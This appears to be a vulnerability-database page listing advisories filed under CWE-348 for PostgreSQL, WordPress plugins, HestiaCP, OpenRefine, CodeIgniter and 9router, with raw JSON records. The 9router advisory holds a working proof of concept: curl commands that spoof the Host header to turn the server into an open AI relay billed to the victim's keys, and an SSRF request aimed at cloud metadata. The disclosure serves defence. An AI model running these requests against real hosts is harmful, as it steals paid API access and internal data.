Common Weakness Enumeration

CWE-348

Allowed

Use of Less Trusted Source

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product has two different sources of the same data or information, but it uses the source that has less support for verification, is less trusted, or is less resistant to attack.

127 vulnerabilities reference this CWE, most recent first.

GHSA-62Q4-HC79-94QJ

Vulnerability from github – Published: 2024-11-14 15:32 – Updated: 2025-11-04 00:32
VLAI
Details

Client use of server error message in PostgreSQL allows a server not trusted under current SSL or GSS settings to furnish arbitrary non-NUL bytes to the libpq application. For example, a man-in-the-middle attacker could send a long error message that a human or screen-scraper user of psql mistakes for valid query results. This is probably not a concern for clients where the user interface unambiguously indicates the boundary between one error message and other text. Versions before PostgreSQL 17.1, 16.5, 15.9, 14.14, 13.17, and 12.21 are affected.

Severity
3.1 (Low)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-10977"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-348"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-14T13:15:04Z",
    "severity": "LOW"
  },
  "details": "Client use of server error message in PostgreSQL allows a server not trusted under current SSL or GSS settings to furnish arbitrary non-NUL bytes to the libpq application.  For example, a man-in-the-middle attacker could send a long error message that a human or screen-scraper user of psql mistakes for valid query results.  This is probably not a concern for clients where the user interface unambiguously indicates the boundary between one error message and other text.  Versions before PostgreSQL 17.1, 16.5, 15.9, 14.14, 13.17, and 12.21 are affected.",
  "id": "GHSA-62q4-hc79-94qj",
  "modified": "2025-11-04T00:32:03Z",
  "published": "2024-11-14T15:32:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10977"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/11/msg00011.html"
    },
    {
      "type": "WEB",
      "url": "https://www.postgresql.org/support/security/CVE-2024-10977"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-64R5-36HC-63P9

Vulnerability from github – Published: 2024-06-19 09:31 – Updated: 2024-06-19 09:31
VLAI
Details

The WP Maintenance plugin for WordPress is vulnerable to IP Address Spoofing in all versions up to, and including, 6.1.9.2 due to insufficient IP address validation and use of user-supplied HTTP headers as a primary method for IP retrieval. This makes it possible for unauthenticated attackers to bypass maintenance mode.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-0789"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-348"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-19T08:15:48Z",
    "severity": "MODERATE"
  },
  "details": "The WP Maintenance plugin for WordPress is vulnerable to IP Address Spoofing in all versions up to, and including, 6.1.9.2 due to insufficient IP address validation and use of user-supplied HTTP headers as a primary method for IP retrieval. This makes it possible for unauthenticated attackers to bypass maintenance mode.",
  "id": "GHSA-64r5-36hc-63p9",
  "modified": "2024-06-19T09:31:17Z",
  "published": "2024-06-19T09:31:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0789"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026new=3078682%40wp-maintenance%2Ftrunk\u0026old=3069916%40wp-maintenance%2Ftrunk\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8f6bbaa1-c50f-4dad-9e5b-04bdffd4a0ae?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-65MW-H472-CFQ6

Vulnerability from github – Published: 2024-08-17 09:30 – Updated: 2024-08-17 09:30
VLAI
Details

The LOGIN AND REGISTRATION ATTEMPTS LIMIT plugin for WordPress is vulnerable to IP Address Spoofing in versions up to, and including, 2.1. This is due to insufficient restrictions on where the IP Address information is being retrieved for request logging and login restrictions. Attackers can supply the X-Forwarded-For header with with a different IP Address that will be logged and can be used to bypass settings that may have blocked out an IP address from logging in.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-4532"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-348"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-17T08:15:04Z",
    "severity": "MODERATE"
  },
  "details": "The LOGIN AND REGISTRATION ATTEMPTS LIMIT plugin for WordPress is vulnerable to IP Address Spoofing in versions up to, and including, 2.1. This is due to insufficient restrictions on where the IP Address information is being retrieved for request logging and login restrictions. Attackers can supply the X-Forwarded-For header with with a different IP Address that will be logged and can be used to bypass settings that may have blocked out an IP address from logging in.",
  "id": "GHSA-65mw-h472-cfq6",
  "modified": "2024-08-17T09:30:23Z",
  "published": "2024-08-17T09:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-4532"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/login-attempts-limit-wp/trunk/includes/Ip.php#L41"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/50421e90-ccd6-4896-8041-b99279314301?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-72FG-F46J-5GVP

Vulnerability from github – Published: 2026-05-19 15:31 – Updated: 2026-05-19 15:31
VLAI
Details

HestiaCP versions 1.2.0 through 1.9.4 contain an IP spoofing vulnerability that allows unauthenticated remote attackers to bypass authentication security controls by supplying an arbitrary IP address in the CF-Connecting-IP HTTP header without verifying the request originated from Cloudflare's network. Attackers can exploit this to circumvent fail2ban brute-force protection, bypass per-user IP allowlists, and poison authentication audit logs by spoofing trusted IP addresses on each request.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-43634"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-348"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-19T15:16:31Z",
    "severity": "HIGH"
  },
  "details": "HestiaCP versions 1.2.0 through 1.9.4 contain an IP spoofing vulnerability that allows unauthenticated remote attackers to bypass authentication security controls by supplying an arbitrary IP address in the CF-Connecting-IP HTTP header without verifying the request originated from Cloudflare\u0027s network. Attackers can exploit this to circumvent fail2ban brute-force protection, bypass per-user IP allowlists, and poison authentication audit logs by spoofing trusted IP addresses on each request.",
  "id": "GHSA-72fg-f46j-5gvp",
  "modified": "2026-05-19T15:31:35Z",
  "published": "2026-05-19T15:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43634"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hestiacp/hestiacp/issues/5229"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hestiacp/hestiacp/pull/5273"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hestiacp/hestiacp/commit/f381e294500f671cf12716c638afd0bfde901f88"
    },
    {
      "type": "WEB",
      "url": "https://mercuryiss.com.au/hestiacp-unauthenticated-rce-ip-spoofing-cve-2026-43633-cve-2026-43634"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/hestiacp-ip-spoofing-via-cf-connecting-ip-header"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-79JV-5226-783F

Vulnerability from github – Published: 2024-10-24 18:00 – Updated: 2024-10-30 19:03
VLAI
Summary
OpenRefine has a reflected cross-site scripting vulnerability (XSS) from POST request in ExportRowsCommand
Details

Summary

The export-rows command can be used in such a way that it reflects part of the request verbatim, with a Content-Type header also taken from the request.

An attacker could lead a user to a malicious page that submits a form POST that contains embedded JavaScript code. This code would then be included in the response, along with an attacker-controlled Content-Type header, and so potentially executed in the victim's browser as if it was part of OpenRefine.

The attacker must know a valid project ID of a project that contains at least one row.

Details

The malicious form sets contentType to text/html (ExportRowsCommand.java line 101) and preview to true (line 107). This combination causes the browser to treat what OpenRefine thinks of as an export preview as a regular webpage.

It would be safer if the export-rows command did not allow overriding the Content-Type header at all, instead relying on the exporter to provide the correct Content-Type. It could also require a CSRF token. As an additional measure, it could add a Content-Security-Policy header to the response disabling scripts and such entirely.

At least the CSV exporter (separator and lineSeparator fields) and templating exporter (any field) are affected. It may also be possible to inject into the dateSettings.custom field or the SQL exporter default value field, if the project contains date or null cells.

PoC

An example form that demonstrates the issue is available on https://wandernauta.nl/os/.

Impact

Execution of arbitrary JavaScript in the user's browser. The attacker-provided code can do anything the user can do, including deleting projects, retrieving database passwords, or executing arbitrary Jython or Closure expressions, if those extensions are also present.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
8.6 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.openrefine:openrefine"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.8.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-47880"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-348",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-24T18:00:06Z",
    "nvd_published_at": "2024-10-24T21:15:12Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `export-rows` command can be used in such a way that it reflects part of the request verbatim, with a Content-Type header also taken from the request.\n\nAn attacker could lead a user to a malicious page that submits a form POST that contains  embedded JavaScript code. This code would then be included in the response, along with an attacker-controlled `Content-Type` header, and so potentially executed in the victim\u0027s browser as if it was part of OpenRefine.\n\nThe attacker must know a valid project ID of a project that contains at least one row.\n\n### Details\n\nThe malicious form sets `contentType` to `text/html` (ExportRowsCommand.java line 101) and `preview` to `true` (line 107). This combination causes the browser to treat what OpenRefine thinks of as an export preview as a regular webpage.\n\nIt would be safer if the `export-rows` command did not allow overriding the Content-Type header at all, instead relying on the exporter to provide the correct Content-Type. It could also require a CSRF token. As an additional measure, it could add a Content-Security-Policy header to the response disabling scripts and such entirely.\n\nAt least the CSV exporter (`separator` and `lineSeparator` fields) and templating exporter (any field) are affected. It may also be possible to inject into the `dateSettings.custom` field or the SQL exporter default value field, if the project contains date or null cells.\n\n### PoC\n\nAn example form that demonstrates the issue is available on https://wandernauta.nl/os/.\n\n### Impact\n\nExecution of arbitrary JavaScript in the user\u0027s browser. The attacker-provided code can do anything the user can do, including deleting projects, retrieving database passwords, or executing arbitrary Jython or Closure expressions, if those extensions are also present.",
  "id": "GHSA-79jv-5226-783f",
  "modified": "2024-10-30T19:03:19Z",
  "published": "2024-10-24T18:00:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OpenRefine/OpenRefine/security/advisories/GHSA-79jv-5226-783f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47880"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OpenRefine/OpenRefine/commit/8060477fa53842ebabf43b63e039745932fa629d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OpenRefine/OpenRefine"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenRefine has a reflected cross-site scripting vulnerability (XSS) from POST request in ExportRowsCommand"
}

GHSA-7WMF-PW8J-MC78

Vulnerability from github – Published: 2026-08-07 18:21 – Updated: 2026-08-07 18:21
VLAI
Summary
CodeIgniter: Spoofable forwarded HTTPS headers in IncomingRequest::isSecure()
Details

Impact

IncomingRequest::isSecure() trusted the X-Forwarded-Proto and Front-End-Https headers from any incoming request. In affected deployments, an attacker could spoof these headers and cause the application to incorrectly treat an HTTP request as secure.

This may impact applications that rely on isSecure(), force_https(), forceGlobalSecureRequests, or similar logic to enforce HTTPS-only access or make security-sensitive decisions.

Exploitability depends on deployment configuration. Applications are most exposed if the backend is reachable directly over HTTP, or if a reverse proxy/load balancer forwards client-supplied forwarding headers without stripping or overwriting them.

Patches

Upgrade to v4.7.4 or later.

Workarounds

Users who cannot upgrade immediately should enforce HTTP-to-HTTPS redirects outside CodeIgniter, for example with Apache .htaccess/virtual host rules, nginx server blocks, Caddy site config, or load balancer redirect rules.

Users should also ensure that reverse proxies strip or overwrite client-supplied X-Forwarded-Proto and Front-End-Https headers before forwarding requests to the application.

Severity
4.8 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "codeigniter4/framework"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.7.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63220"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-348"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-07T18:21:54Z",
    "nvd_published_at": "2026-07-31T04:17:24Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n`IncomingRequest::isSecure()` trusted the `X-Forwarded-Proto` and `Front-End-Https` headers from any incoming request. In affected deployments, an attacker could spoof these headers and cause the application to incorrectly treat an HTTP request as secure.\n\nThis may impact applications that rely on `isSecure()`, `force_https()`, `forceGlobalSecureRequests`, or similar logic to enforce HTTPS-only access or make security-sensitive decisions.\n\nExploitability depends on deployment configuration. Applications are most exposed if the backend is reachable directly over HTTP, or if a reverse proxy/load balancer forwards client-supplied forwarding headers without stripping or overwriting them.\n\n### Patches\nUpgrade to v4.7.4 or later.\n\n### Workarounds\nUsers who cannot upgrade immediately should enforce HTTP-to-HTTPS redirects outside CodeIgniter, for example with Apache `.htaccess`/virtual host rules, nginx server blocks, Caddy site config, or load balancer redirect rules.\n\nUsers should also ensure that reverse proxies strip or overwrite client-supplied `X-Forwarded-Proto` and `Front-End-Https` headers before forwarding requests to the application.",
  "id": "GHSA-7wmf-pw8j-mc78",
  "modified": "2026-08-07T18:21:54Z",
  "published": "2026-08-07T18:21:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/codeigniter4/CodeIgniter4/security/advisories/GHSA-7wmf-pw8j-mc78"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63220"
    },
    {
      "type": "WEB",
      "url": "https://github.com/codeigniter4/CodeIgniter4/commit/ecbf044666bed41d23f07518096d9843fe6c08b0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/codeigniter4/CodeIgniter4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/codeigniter4/CodeIgniter4/releases/tag/v4.7.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CodeIgniter: Spoofable forwarded HTTPS headers in IncomingRequest::isSecure()"
}

GHSA-86M2-FCXQ-5Q7C

Vulnerability from github – Published: 2026-08-28 18:33 – Updated: 2026-08-28 18:33
VLAI
Summary
9router: Unauthenticated `/v1` proxy access via `Host`-header spoofing → open AI relay + SSRF
Details

Summary

9router's request guard decides a request is "local" (and therefore exempt from API-key auth on the /v1 LLM proxy) by reading the client-controlled Host header. Because 9router binds 0.0.0.0 by default (and the CLI misleadingly prints "localhost"), a remote, unauthenticated attacker who can reach the port can send Host: localhost to be treated as local and obtain /v1 proxy access with no API key, no CLI token, and no dashboard login. In the default configuration (requireApiKey is absent from DEFAULT_SETTINGS, so the handler-side key check is skipped), this yields:

  • Open AI relay — the proxy forwards the attacker's requests to AI providers using the victim's stored paid API keys (cost/quota theft, prompt-based data exfiltration through the victim's accounts).

  • Unauthenticated SSRF — /v1/search with the built-in noAuth searxng provider takes its outbound fetch URL from the request body (provider_options.baseUrl), so the attacker drives a server-side fetch to any internal/cloud-metadata host and gets the JSON response reflected back.

  • Affected: 9router <= 0.4.80 (current), src/dashboardGuard.js (isLocalRequest), src/sse/handlers/{chat,search}.js, src/lib/db/repos/settingsRepo.js, cli/cli.js.

  • Distinct from the existing advisories GHSA-fhh6-4qxv-rpqj (MCP-plugin RCE, patched) and GHSA-xrrh-p7f2-27vm (legacy <0.3.75 authz bypass).

Details

The bypass (src/dashboardGuard.js)

function isLoopbackHostname(h){ const name=h.split(":")[0].replace(/^\[|\]$/g,"").toLowerCase();
  return new Set(["localhost","127.0.0.1","::1"]).has(name); }
function isLocalRequest(request){
  if (!isLoopbackHostname(request.headers.get("host"))) return false;   // <-- client-controlled Host
  const origin = request.headers.get("origin");
  if (origin){ try { if (!isLoopbackHostname(new URL(origin).hostname)) return false; } catch { return false; } }
  return true;
}
async function canAccessPublicLlmApi(request){
  if (isLocalRequest(request)) return true;     // <-- "local" => no key required
  if (await hasValidCliToken(request)) return true;
  return await hasValidApiKey(request);
}

isLocalRequest never consults the socket peer address — only the spoofable Host header (and an absent/loopback Origin). The /v1,/v1beta,/api/v1,/api/v1beta prefixes are gated solely by canAccessPublicLlmApi.

Default exposure

  • cli/cli.js:63 const DEFAULT_HOST = "0.0.0.0"; and Dockerfile ENV HOSTNAME=0.0.0.0 / EXPOSE 20128 → reachable from the network by default.
  • cli/cli.js:500,541 display "localhost" even when bound to 0.0.0.0 — operators believe it's local-only.
  • src/lib/db/repos/settingsRepo.js DEFAULT_SETTINGS has no requireApiKey → the handler key checks (chat.js if (settings.requireApiKey), search.js same) are skipped by default.

Relay chain (verbatim trace, 0.4.71)

middleware (src/proxy.js, matcher covers all paths) → canAccessPublicLlmApi true via spoofed Host → next.config.mjs rewrites /v1/:path*→/api/v1/:path* → src/app/api/v1/messages/route.js POST → handleChat (no independent auth) → only gate falsy requireApiKey → getProviderCredentials() loads the victim's stored credentials → handleChatCore outbound fetch → response returned. No downstream key gate.

SSRF chain

search.js (only gate falsy requireApiKey) → searxng noAuth:true ⇒ handleSearchCore({credentials:null}) → coreBody.provider_options = body.provider_options → callers.js:

export function resolveBaseUrl(config, params){
  const override = getProviderSetting(params, "baseUrl");   // reads params.providerOptions.baseUrl FIRST
  return (override || config.baseUrl).replace(/\/+$/, "");
}

→ buildSearxngRequest appends /search?q=...&format=json&categories=general → fetch(url) (server-side) → JSON reflected to caller.

PoC

Ground-truth, no network egress: harness/hostspoof.mjs (verbatim guard logic) and harness/ssrf_search.mjs (imports the real handleSearchCore + AI_PROVIDERS.searxng).

Guard bypass (hostspoof.mjs, exit 2):

attacker: remote, NO api key, NO cli token. Want canAccessPublicLlmApi === true == BYPASS
   denied       honest remote (real Host)
*** ALLOWED ***  SPOOF Host: localhost (no Origin)
*** ALLOWED ***  SPOOF Host: 127.0.0.1
*** ALLOWED ***  SPOOF Host: localhost:20128
   denied       SPOOF Host + Origin evil (blocked)
RESULT: BYPASS — remote key-less attacker spoofing Host: localhost is granted /v1 proxy access.

SSRF (ssrf_search.mjs, real imported code):

[*] searxng configured baseUrl: http://localhost:8888/search
[*] attacker provider_options.baseUrl: http://127.0.0.1:<port>
[*] credentials passed to core: null (noAuth => key-less attacker)
internal service reached by 9router process: true
path hit: /search?q=x&format=json&categories=general
data returned to attacker: [{"title":"INTERNAL-DATA",...,"content":"leaked"...}]
SSRF CONFIRMED: key-less request drove a server-side fetch to attacker URL.

Live confirmation against a RUNNING 9router (real HTTP, not just source/harness)

Built & ran 9router@0.4.71 (Next.js 16.2.9, bound 0.0.0.0:20128, default settings, no provider configured, no api key/login). Attacker = a request to the box's non-loopback LAN IP 10.204.111.34 (a genuine remote peer); only the Host header differs between the control and the attack:

(A) honest Host (the IP):     POST /v1/search  Host: 10.204.111.34:20128
    => HTTP 401 {"error":"API key required for remote API access"}      [guard blocks remote]

(B) spoofed Host: localhost:  POST /v1/search  Host: localhost
       body: {"provider":"searxng","query":"x","provider_options":{"baseUrl":"http://127.0.0.1:19099"}}
    => HTTP 200, and the attacker's listener logged:
       [ATTACKER-LISTENER] 9router CONNECTED: GET /search?q=x&format=json&categories=general | from 127.0.0.1
    => the 9router SERVER PROCESS issued a GET to the attacker-controlled URL  = unauthenticated SSRF.

(B') relay path POST /v1/messages, same Host-spoof:
       honest Host => 401 ;  Host: localhost => 404 {"error":"No active credentials for provider: openai"}
    => bypass reached handleChat's provider selection (would forward on the VICTIM'S key if one were configured).

Changing only the Host header (401 → reaches the handler), from the same remote peer, is the entire bypass — confirmed live on a default-config running instance. (Full SSRF response reflection requires the upstream to return searxng-shaped JSON; otherwise it is a blind/semi-blind SSRF — the server-side request to the attacker URL is the proven primitive. The relay needs ≥1 configured provider — the normal state — to actually spend the victim's key.) See repro/LIVE-EVIDENCE.txt.

Reproduce (against a network-reachable 9router; VICTIM_IP = the box):

# Open AI relay — no Authorization/x-api-key/cookie; victim's key pays:
curl -sS http://VICTIM_IP:20128/v1/messages -H 'Host: localhost' -H 'Content-Type: application/json' \
  -d '{"model":"claude-3-5-sonnet-20241022","max_tokens":64,"messages":[{"role":"user","content":"relay test"}]}'

# SSRF — attacker-controlled server-side fetch (e.g. cloud metadata), JSON reflected:
curl -sS http://VICTIM_IP:20128/v1/search -H 'Host: localhost' -H 'Content-Type: application/json' \
  -d '{"provider":"searxng","query":"x","provider_options":{"baseUrl":"http://169.254.169.254/latest/meta-data"}}'

Impact

Any 9router reachable on a network (default 0.0.0.0 bind, plus Docker -p, tunnel, or tailscale — all first-class features) can be: - used as a free AI relay billed to the victim's provider accounts, exhausting quota and exfiltrating data through their keys; and - used to reach internal services / cloud metadata (169.254.169.254) with the response reflected to the attacker. Unauthenticated, no user interaction, default configuration. The only precondition is the normal one (≥1 configured provider).

Recommended fix

  1. Determine "local" from the socket peer IP, never the Host header — treat as local only if the TCP peer is 127.0.0.0/8 / ::1.
  2. Bind 127.0.0.1 by default; require an explicit, warned opt-in for 0.0.0.0; fix the CLI to not print "localhost" when bound to all interfaces.
  3. For any non-loopback peer, require a valid API key regardless of requireApiKey; add requireApiKey: true to DEFAULT_SETTINGS (fail-closed).
  4. Validate provider_options.baseUrl against an allowlist (or drop the override) and block requests to private/link-local ranges in resolveBaseUrl.
  5. Remove Access-Control-Allow-Origin: * from /v1 GET metadata routes.
Severity
8.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "9router"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55641"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1327",
      "CWE-290",
      "CWE-348",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T18:33:20Z",
    "nvd_published_at": "2026-07-10T17:16:59Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n9router\u0027s request guard decides a request is \"local\" (and therefore exempt from API-key auth on the `/v1` LLM proxy) by reading the **client-controlled `Host` header**. Because 9router binds `0.0.0.0` by default (and the CLI misleadingly prints \"localhost\"), a remote, unauthenticated attacker who can reach the port can send `Host: localhost` to be treated as local and obtain `/v1` proxy access with **no API key, no CLI token, and no dashboard login**. In the default configuration (`requireApiKey` is absent from `DEFAULT_SETTINGS`, so the handler-side key check is skipped), this yields:\n\n- **Open AI relay** \u2014 the proxy forwards the attacker\u0027s requests to AI providers using the **victim\u0027s stored paid API keys** (cost/quota theft, prompt-based data exfiltration through the victim\u0027s accounts).\n- **Unauthenticated SSRF** \u2014 `/v1/search` with the built-in `noAuth` `searxng` provider takes its outbound fetch URL from the request body (`provider_options.baseUrl`), so the attacker drives a server-side fetch to any internal/cloud-metadata host and gets the JSON response reflected back.\n\n- **Affected:** `9router \u003c= 0.4.80` (current), `src/dashboardGuard.js` (`isLocalRequest`), `src/sse/handlers/{chat,search}.js`, `src/lib/db/repos/settingsRepo.js`, `cli/cli.js`.\n- **Distinct from** the existing advisories GHSA-fhh6-4qxv-rpqj (MCP-plugin RCE, patched) and GHSA-xrrh-p7f2-27vm (legacy `\u003c0.3.75` authz bypass).\n\n## Details\n\n### The bypass (`src/dashboardGuard.js`)\n```js\nfunction isLoopbackHostname(h){ const name=h.split(\":\")[0].replace(/^\\[|\\]$/g,\"\").toLowerCase();\n  return new Set([\"localhost\",\"127.0.0.1\",\"::1\"]).has(name); }\nfunction isLocalRequest(request){\n  if (!isLoopbackHostname(request.headers.get(\"host\"))) return false;   // \u003c-- client-controlled Host\n  const origin = request.headers.get(\"origin\");\n  if (origin){ try { if (!isLoopbackHostname(new URL(origin).hostname)) return false; } catch { return false; } }\n  return true;\n}\nasync function canAccessPublicLlmApi(request){\n  if (isLocalRequest(request)) return true;     // \u003c-- \"local\" =\u003e no key required\n  if (await hasValidCliToken(request)) return true;\n  return await hasValidApiKey(request);\n}\n```\n`isLocalRequest` never consults the **socket peer address** \u2014 only the spoofable `Host` header (and an absent/loopback `Origin`). The `/v1`,`/v1beta`,`/api/v1`,`/api/v1beta` prefixes are gated solely by `canAccessPublicLlmApi`.\n\n### Default exposure\n- `cli/cli.js:63` `const DEFAULT_HOST = \"0.0.0.0\";` and `Dockerfile` `ENV HOSTNAME=0.0.0.0` / `EXPOSE 20128` \u2192 reachable from the network by default.\n- `cli/cli.js:500,541` display `\"localhost\"` even when bound to `0.0.0.0` \u2014 operators believe it\u0027s local-only.\n- `src/lib/db/repos/settingsRepo.js` `DEFAULT_SETTINGS` has **no `requireApiKey`** \u2192 the handler key checks (`chat.js` `if (settings.requireApiKey)`, `search.js` same) are skipped by default.\n\n### Relay chain (verbatim trace, 0.4.71)\nmiddleware (`src/proxy.js`, matcher covers all paths) \u2192 `canAccessPublicLlmApi` true via spoofed Host \u2192 `next.config.mjs` rewrites `/v1/:path*`\u2192`/api/v1/:path*` \u2192 `src/app/api/v1/messages/route.js` POST \u2192 `handleChat` (no independent auth) \u2192 only gate falsy `requireApiKey` \u2192 `getProviderCredentials()` loads the victim\u0027s stored credentials \u2192 `handleChatCore` outbound fetch \u2192 response returned. **No downstream key gate.**\n\n### SSRF chain\n`search.js` (only gate falsy `requireApiKey`) \u2192 `searxng` `noAuth:true` \u21d2 `handleSearchCore({credentials:null})` \u2192 `coreBody.provider_options = body.provider_options` \u2192 `callers.js`:\n```js\nexport function resolveBaseUrl(config, params){\n  const override = getProviderSetting(params, \"baseUrl\");   // reads params.providerOptions.baseUrl FIRST\n  return (override || config.baseUrl).replace(/\\/+$/, \"\");\n}\n```\n\u2192 `buildSearxngRequest` appends `/search?q=...\u0026format=json\u0026categories=general` \u2192 `fetch(url)` (server-side) \u2192 JSON reflected to caller.\n\n## PoC\n\nGround-truth, no network egress: `harness/hostspoof.mjs` (verbatim guard logic) and `harness/ssrf_search.mjs` (imports the *real* `handleSearchCore` + `AI_PROVIDERS.searxng`).\n\n**Guard bypass (`hostspoof.mjs`, exit 2):**\n```\nattacker: remote, NO api key, NO cli token. Want canAccessPublicLlmApi === true == BYPASS\n   denied       honest remote (real Host)\n*** ALLOWED ***  SPOOF Host: localhost (no Origin)\n*** ALLOWED ***  SPOOF Host: 127.0.0.1\n*** ALLOWED ***  SPOOF Host: localhost:20128\n   denied       SPOOF Host + Origin evil (blocked)\nRESULT: BYPASS \u2014 remote key-less attacker spoofing Host: localhost is granted /v1 proxy access.\n```\n\n**SSRF (`ssrf_search.mjs`, real imported code):**\n```\n[*] searxng configured baseUrl: http://localhost:8888/search\n[*] attacker provider_options.baseUrl: http://127.0.0.1:\u003cport\u003e\n[*] credentials passed to 